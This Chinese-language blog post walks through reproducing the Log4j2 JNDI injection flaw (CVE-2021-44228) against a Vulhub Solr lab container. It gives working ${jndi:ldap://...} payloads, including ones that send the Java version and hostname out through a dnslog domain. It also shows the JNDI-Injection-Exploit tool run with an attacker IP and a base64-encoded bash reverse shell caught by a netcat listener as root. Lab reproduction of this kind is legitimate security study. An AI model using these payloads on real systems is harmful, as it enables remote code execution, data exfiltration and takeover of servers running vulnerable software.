文章目录
- 0x00 漏洞简介
- 0x01 影响范围
- 0x02 环境搭建(Vulhub)
- 0x03 Dnslog出网测试
- 0x04 JNDI注入反弹shell
0x00 漏洞简介
- Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。
- 该工具重写了Log4j框架,并且引入了大量丰富的特性。
- 我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。
- 该日志框架被大量用于业务系统开发,用来记录日志信息。
- Apace在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。
Apache Log4j2 2.x <= 2.14.1
Apache Log4j2 2.15.0-rc1(补丁绕过)log4j + ? = rce !
- Apache Flink
- Apache Struts2
- Apache Spark
- Apache Storm
- Apache Tomcat
- Apache Solr
- Apache Dubbo
- Apache Druid
- Apache OFBiz
- Apache Flume
- Redis
- Logstash
- ElasticSearch
- Apache Kafka
- Ghidra
- Spring-Boot-strater-log4j2
- VMware vCenter
- Minecraft
┌──(rootkali)-[~/vulhub/log4j/CVE-2021-44228]
└─# docker-compose up -d
Creating network "cve-2021-44228_default" with the default driver
Creating cve-2021-44228_solr_1 ... done
访问靶机环境
http://192.168.1.27:8983/solr/#/
文章图片
0x03 Dnslog出网测试
action=${jndi:ldap://X.X.X.X/exp}
action=${jndi:ldap://iwpm6l.dnslog.cn}
先获取一个dnslog的子域名,并在靶机中进行ldap请求
文章图片
文章图片
dnslog回显正常,接下来利用dnslog获取java版本信息
action=${jndi:ldap://${sys:java.version}.iwpm6l.dnslog.cn}
action=${jndi:ldap://${env:HOSTNAME}.iwpm6l.dnslog.cn}
文章图片
0x04 JNDI注入反弹shell 这里用到一个JNDI注入的小工具,可以生成JNDI链接并启动后端相关服务
https://github.com/welk1n/JNDI-Injection-Exploit
可执行程序为jar包,在命令行中运行以下命令:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
命令会被作为参数传入
Runtime.getRuntime().exec()
函数中首先运行jar,在本地启动服务,生成恶意的JNDI Links
root@iZ2zec7mjp663ump9wsug3Z:~# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 39.107.138.71
[ADDRESS] >> 39.107.138.71
[COMMAND] >> touch /tmp/success
----------------------------JNDI Links----------------------------
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://39.107.138.71:1099/snyuh8
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://39.107.138.71:1099/0puzfm
ldap://39.107.138.71:1389/0puzfm
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://39.107.138.71:1099/tcub4d
ldap://39.107.138.71:1389/tcub4d
这里使用JDK 1.8的链接,将其作为JNDI查询的对象,从而使得靶机访问ldap服务,获取到恶意的class文件
文章图片
返回容器中查看可以看到
touch
命令成功执行┌──(rootkali)-[~/vulhub/log4j/CVE-2021-44228]
└─# docker exec -it 28c4b1734b97 /bin/bash
root@28c4b1734b97:/opt/solr# cd /tmp
root@28c4b1734b97:/tmp# ls
hsperfdata_rootstart_2309813075613123050.properties
jetty-0_0_0_0-8983-webapp-_solr-any-7467976691080398284success
将命令换成反弹shell
bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDcuMTM4LjcxLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"
攻击机监听6666端口成功获取shell
root@iZ2zec7mjp663ump9wsug3Z:~# nc -lvvp 6666
Listening on [0.0.0.0] (family 0, port 6666)
Connection from 171.43.224.56 13709 received!
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shellroot@28c4b1734b97:/opt/solr/server# whoami
whoami
root
推荐阅读
- apache|CVE-2022-33891(Apache Spark 命令注入漏洞通告)
- 漏洞复现|CVE-2022-33891 Apache Spark 命令注入复现
- 安全|漏洞通告 | Apache Spark UI命令漏洞;Grails远程代码漏洞;Confluence Questions漏洞
- Java学习之路|两万字长文总结,梳理 Java 入门进阶那些事(推荐收藏)
- 职场人生|两万字长文总结,梳理 Java 入门进阶那些事
- 后端|两万字长文总结,梳理 Java 入门进阶哪些事(推荐收藏)
- java|Docker部署homeassitant
- java|docker-compose安装教程
- 分布式|K8s入门到企业实战